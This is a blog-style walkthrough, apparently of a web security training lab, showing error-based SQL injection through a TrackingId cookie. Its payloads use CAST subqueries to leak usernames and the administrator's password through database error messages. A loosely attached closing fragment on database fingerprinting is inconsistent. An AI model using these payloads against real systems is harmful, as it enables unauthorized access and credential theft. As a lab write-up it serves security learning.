Visible error-based SQL injection

Solution:

CyberPro
4 min readJul 24, 2023

1.) Prove that parameter is vulnerable.

TrackingId=bCQhBPs0wXzx5kcy’ -> 500 Internat Error
TrackingId=bCQhBPs0wXzx5kcy -> 200 OK

Therefore, it is vulnerable to SQL injection.

2.) In the request, add comment characters to comment out the rest of the query, including the extra single-quote character that’s causing the error:

TrackingId=bCQhBPs0wXzx5kcy'--;

Send the request. Confirm that you no longer receive an error. This suggests that the query is now syntactically valid.

3.) Adapt the query to include a generic `SELECT` subquery and cast the returned value to an `int` data type:

TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--

Observe that you now get a different error saying that an `AND` condition must be a boolean expression.

4.) Modify the condition accordingly. For example, you can simply add a comparison operator (`=`) as follows:

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--

This suggests that this is a valid query again.

5.) Adapt your generic `SELECT` statement so that it retrieves usernames from the database:

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--

a.) ‘ is used to close the initial part of the SQL query, typically a string or a parameter value.

b.) AND 1=CAST((SELECT username FROM users) AS int) is the injected part of the query. It attempts to create a condition using the AND keyword, where 1 is being compared to the result of a subquery.

c.) The subquery (SELECT username FROM users) tries to retrieve the username column from the users table.
CAST(… AS int) attempts to cast the result of the subquery to an integer. However, this might cause an error if the username is not a valid integer.
— is used to comment out the rest of the original SQL query, preventing any syntax errors from occurring.

Observe that you receive the initial error message again. Notice that your query now appears to be truncated due to a character limit. As a result, the comment characters you added to fix up the query aren’t included.

6.) Delete the original value of the `TrackingId` cookie to free up some additional characters. Resend the request.

TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--

Notice that you receive a new error message, which appears to be generated by the database. This suggests that the query was run properly, but you’re still getting an error because it unexpectedly returned more than one row.

7.) Modify the query to return only one row:

TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

Observe that the error message now leaks the first username from the users table:

ERROR: invalid input syntax for type integer: "administrator"

8.) Now that you know that the `administrator` is the first user in the table, modify the query once again to leak their password:

TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

Log in as `administrator` using the stolen password to solve the lab.

If it truly reads SQL codes, try some SQL commands.

  • Try this to know if it is a MySQL database.
'|| (select '') ||'
  • Also try this to know if it is an Oracle database.
'|| (select '' from dual) ||'

-> Based on the result it is a MySQL database.

2.) Confirm that the users table exists in the database.

--

--

CyberPro

Penetration testing isn't just about finding weaknesses; it's about safeguarding critical systems and ensuring business continuity.